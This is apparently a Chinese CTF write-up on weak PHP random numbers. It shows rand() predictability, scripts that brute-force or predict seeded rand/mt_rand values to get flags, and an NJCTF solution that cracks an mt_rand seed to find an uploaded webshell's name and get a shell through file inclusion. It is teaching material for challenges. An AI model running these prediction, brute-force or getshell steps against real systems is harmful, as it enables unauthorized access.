rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的.

产生的随机数可以用下面这个公式预测 : state[i] = state[i-3] + state[i-31] (一般预测值可能比实际值要差1)

$randstr = array();

for ($i = 0; $i <= 50; $i++) {

    $randstr[$i] = rand(0, 30);

    if ($i >= 31) {

        echo "第" . $i . "个随机数:";

        echo "$randstr[$i]=(" . $randstr[$i - 31] . "+" . $randstr[$i - 3] . ") mod 32 +1\n";
echo "<br>"; } else { echo "第" . $i . "个随机数:" . $randstr[$i] . "\n";
echo "<br>"; } }

结果如下:

第0个随机数:0
第1个随机数:12
第2个随机数:18
第3个随机数:27
第4个随机数:25
第5个随机数:30
第6个随机数:15
第7个随机数:20
第8个随机数:17
第9个随机数:25
第10个随机数:30
第11个随机数:28
第12个随机数:13
第13个随机数:23
第14个随机数:1
第15个随机数:8
第16个随机数:5
第17个随机数:5
第18个随机数:4
第19个随机数:25
第20个随机数:30
第21个随机数:28
第22个随机数:7
第23个随机数:5
第24个随机数:18
第25个随机数:8
第26个随机数:24
第27个随机数:12
第28个随机数:7
第29个随机数:3
第30个随机数:24
第31个随机数:2=(0+7) mod 32 +1
第32个随机数:18=(12+3) mod 32 +1
第33个随机数:25=(18+24) mod 32 +1
第34个随机数:21=(27+2) mod 32 +1
第35个随机数:11=(25+18) mod 32 +1
第36个随机数:27=(30+25) mod 32 +1
第37个随机数:5=(15+21) mod 32 +1
第38个随机数:14=(20+11) mod 32 +1
第39个随机数:24=(17+27) mod 32 +1
第40个随机数:26=(25+5) mod 32 +1
第41个随机数:17=(30+14) mod 32 +1
第42个随机数:17=(28+24) mod 32 +1
第43个随机数:14=(13+26) mod 32 +1
第44个随机数:22=(23+17) mod 32 +1
第45个随机数:25=(1+17) mod 32 +1
第46个随机数:30=(8+14) mod 32 +1
第47个随机数:0=(5+22) mod 32 +1
第48个随机数:6=(5+25) mod 32 +1
第49个随机数:8=(4+30) mod 32 +1
第50个随机数:5=(25+0) mod 32 +1

看到CTF题,当时题目中max_num未知。当我们请求时,大致知道max_num的范围,当时得到的最大值是990,不超过4位数。可以通过爆破解此题。:

session_start();
define(MAX_NUM,998);
if (isset($_GET['code']) && intval($_GET['code']) === $_SESSION['code']) { die('flag{11111111111111111}'); } else {echo "wrong answer!";} srand(rand(0, MAX_NUM)); //进行播种 for ($i = 0; $i < 3; $i++) { echo "<h3>randnum$i:" . rand(0, MAX_NUM) . "</h3><br>"; } echo 'sessionid: ' . session_id(); var_dump($_SESSION); $_SESSION['code'] = rand(0, MAX_NUM); var_dump($_SESSION); ?> <form action="" method="get"> the next random num is:<input type="text" name="code"/> <input type="submit"/> </form>

可以写如下脚本,从990开始预测:

$max_num = 1000;

for ($k = 990; $k <= 1000; $k++) {

    $max_num = $k;

    for ($i = 0; $i <= 1000; $i++) {

        srand($i);

        echo 'srand:' . $i . ':' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num);

        echo "<br>";

    }

}

得到预测结果。填上拿到flag.

第二种做法是写一个py脚本直接去爆破随机数,因为随机数的范围都是小于1000的,因此这些直接爆破0,1000即可.

import requests

url = 'http://0.0.0.0:91/index.php'

s = requests.session()

# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}

# html = s.get(url,headers=headers)

for i in range(1000):

    #s = requests.session()

    url2 = url+'?code='+str(i)

    res = s.get(url2)

    print res.content

    if 'flag' in res.content:

        print res.content 

        break

大概每个session 可以爆出2,3次就无法再次爆破了,也是有一点随机性在里面的

ps: 其实session()这个函数有点像随机数播种, 程序每次运行一次session函数,都会分配一个固定的sessionid, 上面这个程序把session放在前面,那么循环部分的sessionid都是一样的,和我们浏览器访问并没有很大区别, 但如果是把session()函数放到循环体里面,那么每次访问的sessionid的值都会变化,相当于1000个人同时访问一次站点, 前面相当于一个人访问了1000次站点

mt_srand()函数用 time()做种子值, 相当于已知的, 我们可以本地用 time()这个种子值去预测pwd的值, 这第一层判断很容易绕过, 第二层的判断就有点迷了

发现这个第二层的判断为 if ($_SESSION['userLogin'] == $_GET['login']) , 只是简单的判断了下是否相等,而没有判断 $_GET['login'] 这个值是否为空, 因为程序如果第一次加载,那么此时 $_SESSION还没有赋值, $_SESSION['login'] 的内容自然是空, NULL===NULL, 很容易就绕过了第二层, 因此这题第二层判断形如虚设,如果你的时间和服务器上面的时间不同步,即time()的值不相同话,需要去偏移一个大概范围去爆破:

脚本如下:

function create_password($pw_length = 10) {

    $randpwd = "";

    for ($i = 0; $i < $pw_length; $i++) {

        $randpwd .= chr(mt_rand(100, 200));

    }

    return $randpwd;

}

mt_srand(time());

$pass = create_password();

echo $pass . "\n";

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, 'http://127.0.0.1/php_code/yuce.php?pwd=' . $pass);

$output = curl_exec($curl);

print_r($output);

curl_close($curl);

在看一道njctf随机数的题目:

题目大体思路就是能上传图片文件+文件包含=getshell。但是有一个难点就是如何得到上传文件名。这里就涉及到随机数和session的知识。

先说下session。session_start()会创建唯一的session id。当你携带着session过来时。session_start()就不会分配一个新的session id。

当你把PHPSESSID=;这样后端接受到的session id就会为空。

假如把PHPSESSID都删了。则会重新赋值一个新的session id

如果sessionid是没有的话,那么session_id()就是空字符串,这样的话,hash就是$ss的md5值,也就是纯数字,放cmd5解密就可以得到明文,也就是随机数,

mt_rand生成的随机数是可以破解得到种子,所以可以再通过种子预测到后面的random_str的值,从而得到上传的文件名.(这里我们把md5函数去掉)

error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
} function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
} function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = ''; for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
} return $str;
}
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) { $seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
echo "ss:".$ss;
echo "<br>";
// $hash = md5(session_id().$ss);
$hash = session_id().$ss; //原题这里是md5(session_id.$ss).这里把md5加密去掉。
echo "session_id+ss:".$hash;
echo "<br>";
// echo $hash;
// echo "<br>";
// echo md5($ss);
// echo "<br>";
// echo "新赋值的session:".$hash;
setcookie('SESSI0N', $hash, time() + 3600); if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<head>
<title>upload</title>
</head>
<body>
<form action="shell.php" method="post" enctype="multipart/form-data">
选择文件:<input type="file" name="file-upload-field">
<br>
提交:<input type="submit" name="submit">
<br>
<?php
echo "session:";
print_r($_SESSION);
echo "<br>";
echo "cookie:";
print_r($_COOKIE);
?>
</form>
</body>
</html>

具体操作如下:

准备一个一句话的shell命名为1.jpg,将PHPSESSION设置为空上传。

发送,server 会给我们一个名为session的cookie。原题目得在解密MD5.我这里去掉了。就不用了。

1782405370就是随机数。通过php_mt_seed这个tools来破解我们的种子。

得到可能的种子数。

写个脚本来预测文件名,(当种子数相同时,通过mt_rand或者rand得到的随机数是相同的)

比如。同时使用123的种子,即使网页怎么刷新数值都不会变的。用种子得到的每一个都是固定的。

写通过得到的216400146种子就能得到文件的名字。

mt_srand(216400146);
echo mt_rand()."\n\r";
function random_str($length = "32") {
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = ''; for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
} return $str;
} echo random_str()."\n\r";

看上传文件的名字。

通过伪协议文件包含拿shell.

参考连接:http://www.blogsir.com.cn/safe/515.html

http://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html

http://momomoxiaoxi.com/2017/03/17/NJCTF/

https://xz.aliyun.com/t/1520

web-ctf随机数安全的更多相关文章

  1. [XMAN筛选赛](web)ctf用户登录

    0x00 题目概述 就只写了几道web题,有些考察点比较明显,所以个人感觉来说web总体不难. 一航的writeup写得差不多,我这写个他没写的wirteup. 看题: 链接点进去是一个登录页面,习惯 ...

  2. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  3. 【pwnable.kr】fb

    这是pwnable.kr的签到题,记录pwn入门到放弃的第一篇. ssh fd@pwnable.kr -p2222 (pw:guest) 题目很简单,登录上了ssh后,发现了3个文件:fd,fd.c, ...

  4. 反序列化之PHP

    反序列化漏洞 #PHP反序列化 原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果.在反序列化的过程中自动触发了某些魔术方法. ...

  5. Vulnhub靶机系列之Acid

    Acid 下载地址: ​ https://download.vulnhub.com/acid/Acid.rar ​ https://download.vulnhub.com/acid/Acid.rar ...

  6. CTF丨从零开始搭建WEB Docker靶场

    第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...

  7. 统计随机数及临界值Web Service接口

    (2017-02-04 银河统计) 统计函数API概念   API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发 ...

  8. CTF中常见Web源码泄露总结

    目录00x1 .ng源码泄露 00x2  git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露  ...

  9. CTF web题型解题技巧

    工具集 基础工具:Burpsuite,python,firefox(hackbar,foxyproxy,user-agent,swither等) 扫描工具:nmap,nessus,openvas sq ...

  10. 实验吧CTF题库-WEB题(部分)

    看起来有点难 提交admin http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&actio ...

随机推荐

  1. TRUNCATE TABLE 与 DELETE的区别

    delete from aatruncate table aa 区别1.delete from后面可以写条件,truncate不可以2.delete from记录是一条条删的,所删除的每行记录都会进日 ...

  2. Java - 用静态工厂方法代替构造器

    Effective Item - 考虑用静态工厂方法代替构造器我们有两种常见的方法获得一个类的实例: 公有的构造器 提供静态工厂方法(static factory method) 相对公有的构造器,静 ...

  3. mysql8.0遇到删除外键的错误

    错误信息:Cannot drop index 'energy_type_id': needed in a foreign key constraint 创建device表的信息 CREATE TABL ...

  4. flask中的数据操作

    flask中数据访问: pip install flask-sqlalemy 创建数据: 创建app的工厂 from flask import Flask from flask_sqlalchemy ...

  5. [编程] C语言Linux系统编程-等待终止的子进程(僵死进程)

    1.等待终止的子进程(僵死进程): 如果一个子进程在父进程之前结束,内核会把子进程设置为一个特殊的状态,处于这种状态的进程称为僵死进程 当父进程获取了子进程的信息后,子进程才会消失. pid_t wa ...

  6. Z_Tree的使用案例(出差地点的演示)

    1.准备工作(下载zTree并添加到项目JS中) 2.HTML代码 <link rel="stylesheet" href="./js/zTree_v3-3.5.2 ...

  7. 微信小程序二维码识别

    目前市场上二维码识别的软件或者网站越来越多,可是真正方便,无广告的却少之很少. 于是,自己突发奇想做了一个微信二维码识别的小程序. 包含功能: 1.识别二维码 ①普通二维码 ②条形码 ③只是复制解析出 ...

  8. axios中的qs

    qs是一个npm仓库所管理的包,可通过npm install qs命令进行安装. 1. qs.parse()将URL解析成对象的形式 const Qs = require('qs'); let url ...

  9. iView定制主题报错问题的解决方法

    按照iView官网来是这样的: 1. 在main.js当前目录下新建themes文件夹,里面新建一个叫blue.less的文件 2. 在mian.js里面引入blue.less文件 3. blue.l ...

  10. How To Manage StartUp Applications In Ubuntu

    Ever felt the need to control startup applications in Ubuntu? You should, if you feel that your Ubun ...